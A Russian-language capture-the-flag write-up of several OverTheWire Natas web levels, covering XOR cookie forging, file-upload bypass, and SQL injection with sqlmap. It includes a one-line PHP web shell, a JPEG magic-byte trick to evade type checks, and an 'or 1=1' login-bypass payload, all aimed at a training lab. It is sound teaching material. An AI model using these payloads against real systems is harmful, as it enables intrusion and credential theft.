- PVSM.RU - https://www.pvsm.ru -
В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas [1]. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [2] и группу для обсуждения любых вопросов [3] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [4].
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Разбираем код:
Что же нужно сделать:
<?php
function xor_encrypt($in, $k) {
$key = $k;
$text = $in;
$outText = '';
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw";
$old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode));
echo "key: ". $KEY . "n";
$KEY="qw8J";
$new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY));
echo "new cookie: " . $new_data_code . "n";
?>
При сохранении файла на сайте, он сохраняется под случайным именем и расширение JPEG. Но самое главное, что это имя формируется и предоставляется пользователю в скрытом поле формы hidden еще до выбора файла, а после – вместе с файлом отправляется на сервер.
Задача: cоздать php-shell, перехватить запрос на сервер и
изменить имя файла на *.php.
<? echo system($_GET["cmd"]); ?>
Используем Burp Suite: Выставляем настройки прокси браузера на 127.0.0.1:8080. Отправляем shell. Во вкладке Proxy подменяем запрос.
Обращаемся к своему файлу на сервере, передавая команды в командную строку через параметр cmd.
cat /etc/natas_webpass/natas13
Данный вид уязвимости относится к категории Unrestricted File Upload.
Для создания Shell`a лучше всего использовать константы php, так как выполнение системных функций может быть запрещено настройками сервера.
При сохранении на сервер того же самого shell`a, нам говорят, что это не изображение. Анализируем код.
Присутствует функция exif_imagetype.
Для проверки JPEG файла данная функция использует внутреннюю функцию is_jpeg, которая проверяет первые четыре байта файла.
Дело в том, что интерпретатор языка php выполняет код, который находится между <? ?>, пропуская все остальные символы. Откроем shell прошлого уровня в hex редакторе и допишем в начало файла байты 0xFFD8FFE0.
Отправим на сайт по аналогии с прошлым уровнем и получим пароль.
Обычная ошибка в форме авторизации. Запрос к БД:
SELECT * from users where username="username" and password="password";
Есть возможность сделать запрос всегда истинным: login = «admin“ or 1=1 — ».
В таком случае or 1=1 возвращает истину, а остальная часть запроса комментируется:
SELECT * from users where username="admin" or 1=1;
Забираем пароль.
Данный вид уязвимости относится к категории SQL Injection.
На данной форме разберем работу sqlmap. Отправим запрос и перехватим данные и заголовок HTTP.
Выбираем из заголовка только необходимую информацию. В данном случае: User-Agent, Referer, Authorization. Задаем параметры sqlmap:
Sqlmap определил, что параметр username уязвим к Boolean-Based Blind иньекции, и показал правильный ответ БД на верное событие (в последующем сканировании для быстрой работы можно сразу указать уязвимый параметр и тип иньекции: -p username и --technique=B).
B: Boolean-based blind SQL injection
U: UNION query SQL injection
T: Time-based blind SQL injection
E: Error-based SQL injection
S: Stacked queries SQL injection
Sqlmap определил СУБД MySQL (в последующих сканрованиях параметр --dbms=MySQL) и спросил нужно ли определять версию mysql (по умолчанию yes).
Sqlmap сообщил, что версия MySQL >= 5.0.12 (это необходимо для выбора служебных констант СУБД).
Sqlmap определил нагрузку для параметра username и спросил нужно ли проверять другие параметры (по умолчанию — no). Также он показывает нагрузку.
Предоставляет информацию об узле и, как мы просили — текущую БД: natas15.
С учетом новых известных данных узнаем таблицы из базы данных natas15:
Sqlmap определил одну таблицу users.
Узнаем столбцы в таблице users:
Sqlmap определил 2 столбца.
Сдампим таблицу users (опция --dump). Дамп занял 3 минуты. Выполним запрос в 8 потоков (--threads 8) – как итог: 1 минута.
Забираем пароль.
Продолжение следует. Вы можете присоединиться к нам в Telegram [2].
Автор: RalfHacker
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/python/327688
Ссылки в тексте:
[1] Natas: http://overthewire.org/wargames/natas/
[2] канал в Telegram: https://t.me/RalfHackerChannel
[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[5] Источник: https://habr.com/ru/post/464443/?utm_campaign=464443&utm_source=habrahabr&utm_medium=rss
Нажмите здесь для печати.